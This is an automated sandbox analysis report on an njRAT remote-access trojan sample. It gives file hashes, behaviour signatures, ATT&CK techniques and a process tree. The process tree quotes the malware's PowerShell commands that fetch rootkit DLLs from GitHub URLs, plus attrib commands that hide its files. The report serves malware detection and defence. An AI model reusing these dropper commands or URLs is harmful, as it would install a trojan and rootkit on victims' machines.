njrat | 8920797352a55d0413ab4642e7e2dcd049d702678f6870f6f58ac64e814e5720

Analysis

max time kernel
150s
max time network
125s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
26/12/2023, 12:39

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General

Target

6f2bf69913f6bf47a6ae722c9640a311.exe
Size

46KB
MD5

6f2bf69913f6bf47a6ae722c9640a311
SHA1

5aa0c1acc2c56f283a9694f4953f6085f0b0059d
SHA256

8920797352a55d0413ab4642e7e2dcd049d702678f6870f6f58ac64e814e5720
SHA512

0721b0c5ad0ce0049609da9f59359fb5d895005342f87697683c9ffbb63213b125c8c81f55dfef50b7678b0f52ad3707d8c4cbdfadb64b8136f236bb3a30164c
SSDEEP

768:MB9QFE9xTu53yAeC1lNhTTHxAlbL0gUqrvs9kIL4:MBN9A5CAeCRpTHMbL0gU6+ka4

Score

10^/10

njrat trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/NGROKC/CTC/raw/main/CTC64.dll

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/NGROKC/CTC/raw/main/CTC86.dll

Signatures

njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat

Blocklisted process makes network request 4 IoCs

flow	pid	Process
3	2172	powershell.exe
4	2172	powershell.exe
5	2864	powershell.exe
6	2864	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2172	powershell.exe
2864	powershell.exe
1048	6f2bf69913f6bf47a6ae722c9640a311.exe
1048	6f2bf69913f6bf47a6ae722c9640a311.exe
1048	6f2bf69913f6bf47a6ae722c9640a311.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	2172	powershell.exe
Token: SeDebugPrivilege	2864	powershell.exe
Token: SeDebugPrivilege	1048	6f2bf69913f6bf47a6ae722c9640a311.exe
Token: 33	1048	6f2bf69913f6bf47a6ae722c9640a311.exe
Token: SeIncBasePriorityPrivilege	1048	6f2bf69913f6bf47a6ae722c9640a311.exe

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 1048 wrote to memory of 2740	1048	6f2bf69913f6bf47a6ae722c9640a311.exe	28
PID 1048 wrote to memory of 2740	1048	6f2bf69913f6bf47a6ae722c9640a311.exe	28
PID 1048 wrote to memory of 2740	1048	6f2bf69913f6bf47a6ae722c9640a311.exe	28
PID 2740 wrote to memory of 2172	2740	cmd.exe	30
PID 2740 wrote to memory of 2172	2740	cmd.exe	30
PID 2740 wrote to memory of 2172	2740	cmd.exe	30
PID 1048 wrote to memory of 2836	1048	6f2bf69913f6bf47a6ae722c9640a311.exe	31
PID 1048 wrote to memory of 2836	1048	6f2bf69913f6bf47a6ae722c9640a311.exe	31
PID 1048 wrote to memory of 2836	1048	6f2bf69913f6bf47a6ae722c9640a311.exe	31
PID 2836 wrote to memory of 2864	2836	cmd.exe	33
PID 2836 wrote to memory of 2864	2836	cmd.exe	33
PID 2836 wrote to memory of 2864	2836	cmd.exe	33
PID 1048 wrote to memory of 3004	1048	6f2bf69913f6bf47a6ae722c9640a311.exe	34
PID 1048 wrote to memory of 3004	1048	6f2bf69913f6bf47a6ae722c9640a311.exe	34
PID 1048 wrote to memory of 3004	1048	6f2bf69913f6bf47a6ae722c9640a311.exe	34
PID 1048 wrote to memory of 2540	1048	6f2bf69913f6bf47a6ae722c9640a311.exe	36
PID 1048 wrote to memory of 2540	1048	6f2bf69913f6bf47a6ae722c9640a311.exe	36
PID 1048 wrote to memory of 2540	1048	6f2bf69913f6bf47a6ae722c9640a311.exe	36
PID 1048 wrote to memory of 1016	1048	6f2bf69913f6bf47a6ae722c9640a311.exe	39
PID 1048 wrote to memory of 1016	1048	6f2bf69913f6bf47a6ae722c9640a311.exe	39
PID 1048 wrote to memory of 1016	1048	6f2bf69913f6bf47a6ae722c9640a311.exe	39
PID 1048 wrote to memory of 1436	1048	6f2bf69913f6bf47a6ae722c9640a311.exe	40
PID 1048 wrote to memory of 1436	1048	6f2bf69913f6bf47a6ae722c9640a311.exe	40
PID 1048 wrote to memory of 1436	1048	6f2bf69913f6bf47a6ae722c9640a311.exe	40
PID 1048 wrote to memory of 1600	1048	6f2bf69913f6bf47a6ae722c9640a311.exe	42
PID 1048 wrote to memory of 1600	1048	6f2bf69913f6bf47a6ae722c9640a311.exe	42
PID 1048 wrote to memory of 1600	1048	6f2bf69913f6bf47a6ae722c9640a311.exe	42

Views/modifies file attributes 1 TTPs 5 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
3004	attrib.exe
2540	attrib.exe
1016	attrib.exe
1436	attrib.exe
1600	attrib.exe

C:\Users\Admin\AppData\Local\Temp\6f2bf69913f6bf47a6ae722c9640a311.exe
"C:\Users\Admin\AppData\Local\Temp\6f2bf69913f6bf47a6ae722c9640a311.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1048
- C:\Windows\system32\cmd.exe
  cmd /c ""C:\Users\Admin\AppData\Local\Temp\D64.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2740
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell (new-object System.Net.WebClient).DownloadFile('https://github.com/NGROKC/CTC/raw/main/CTC64.dll','C:\Users\Admin\AppData\Local\Temp\r77-x64.dll');
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2172
- C:\Windows\system32\cmd.exe
  cmd /c ""C:\Users\Admin\AppData\Local\Temp\D86.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2836
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell (new-object System.Net.WebClient).DownloadFile('https://github.com/NGROKC/CTC/raw/main/CTC86.dll','C:\Users\Admin\AppData\Local\Temp\r77-x86.dll');
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2864
- C:\Windows\system32\attrib.exe
  attrib +h +r +s "C:\Users\Admin\AppData\Roaming\Subdir"
  2⤵
  - Views/modifies file attributes
  PID:3004
- C:\Windows\system32\attrib.exe
  attrib +h +r +s "C:\Users\Admin\AppData\Roaming\Subdir\$77-google.exe"
  2⤵
  - Views/modifies file attributes
  PID:2540
- C:\Windows\system32\attrib.exe
  attrib +h +r +s "C:\Users\Admin\AppData\Local\"
  2⤵
  - Views/modifies file attributes
  PID:1016
- C:\Windows\system32\attrib.exe
  attrib +h +r +s "C:\Users\Admin\AppData\Local\Temp\cjc3LXg4Ni5kbGw="
  2⤵
  - Views/modifies file attributes
  PID:1436
- C:\Windows\system32\attrib.exe
  attrib +h +r +s "C:\Users\Admin\AppData\Local\Temp\r77-x64.dll"
  2⤵
  - Views/modifies file attributes
  PID:1600

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\D64.bat

Filesize
222B

MD5
9c2599eecfb45356c99a7320805d85e7

SHA1
ebbe61d1cf2d55c3d7c59fbaa1a2ba62b0f244e7

SHA256
a3f1a82cc9957b71b5409c6280e97e8af14bdc3c6fb5ad195708f8c95a6f4d40

SHA512
b8d32363da98d418f9caf853b1569a0b4051e2475067988f3cdbaf2226ba667d4dd1e69217e10860cb6a947b894093878a1fad6525aebb9c353e9e956a86c8a4

Download Submit
C:\Users\Admin\AppData\Local\Temp\D86.bat

Filesize
222B

MD5
d35427fb987daec1ccf0b500929c0bd0

SHA1
f56c9b7e7ce037aa9cb3a513cb2d7ad317ab6447

SHA256
f818bbd6afa5d80f4b2d8c2d090a2a487d3cd69ffd32214a169d62282b7cb861

SHA512
73b489ab1372bc5cbf2248cf706041e73532daeebcf448d1720b485e7a5e7614afc9ebd6ea407adf3bd7006a61cef008241385bb1e060b3e4d33f8ca4b89f830

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
a5a85c26f26618ec4ac4843fd2bb81cc

SHA1
efc232d3aa24a286c335ea8812924cc66ed1130b

SHA256
edf80f97ebe60d958b54c2889db0daaeb74941cafbf4b22b9c4fcc346aa6cad0

SHA512
15150d54a2bd32d0ef7fda4a2492f323020652ae58b5632527618dc5bc798e3eee63d7862941f9b50bbcef49f478c11ad5d45ea30829c03188a778105263e3b8

Download Submit
memory/1048-1-0x000007FEF51F0000-0x000007FEF5BDC000-memory.dmp

Filesize
9.9MB

Download
memory/1048-45-0x000000001B4B0000-0x000000001B530000-memory.dmp

Filesize
512KB

Download
memory/1048-0-0x0000000001190000-0x00000000011A2000-memory.dmp

Filesize
72KB

Download
memory/1048-44-0x000007FEF51F0000-0x000007FEF5BDC000-memory.dmp

Filesize
9.9MB

Download
memory/2172-18-0x00000000024C0000-0x0000000002540000-memory.dmp

Filesize
512KB

Download
memory/2172-19-0x000007FEEDCE0000-0x000007FEEE67D000-memory.dmp

Filesize
9.6MB

Download
memory/2172-28-0x00000000024C0000-0x0000000002540000-memory.dmp

Filesize
512KB

Download
memory/2172-30-0x000007FEEDCE0000-0x000007FEEE67D000-memory.dmp

Filesize
9.6MB

Download
memory/2172-17-0x000007FEEDCE0000-0x000007FEEE67D000-memory.dmp

Filesize
9.6MB

Download
memory/2172-16-0x00000000024A0000-0x00000000024A8000-memory.dmp

Filesize
32KB

Download
memory/2172-15-0x000000001B2B0000-0x000000001B592000-memory.dmp

Filesize
2.9MB

Download
memory/2864-36-0x000000001B470000-0x000000001B752000-memory.dmp

Filesize
2.9MB

Download
memory/2864-39-0x00000000022B0000-0x00000000022B8000-memory.dmp

Filesize
32KB

Download
memory/2864-40-0x0000000002920000-0x00000000029A0000-memory.dmp

Filesize
512KB

Download
memory/2864-41-0x000007FEEDCE0000-0x000007FEEE67D000-memory.dmp

Filesize
9.6MB

Download
memory/2864-42-0x0000000002920000-0x00000000029A0000-memory.dmp

Filesize
512KB

Download
memory/2864-43-0x0000000002920000-0x00000000029A0000-memory.dmp

Filesize
512KB

Download
memory/2864-38-0x0000000002920000-0x00000000029A0000-memory.dmp

Filesize
512KB

Download
memory/2864-37-0x000007FEEDCE0000-0x000007FEEE67D000-memory.dmp

Filesize
9.6MB

Download
memory/2864-46-0x000007FEEDCE0000-0x000007FEEE67D000-memory.dmp

Filesize
9.6MB

Download
memory/2864-47-0x0000000002920000-0x00000000029A0000-memory.dmp

Filesize
512KB

Download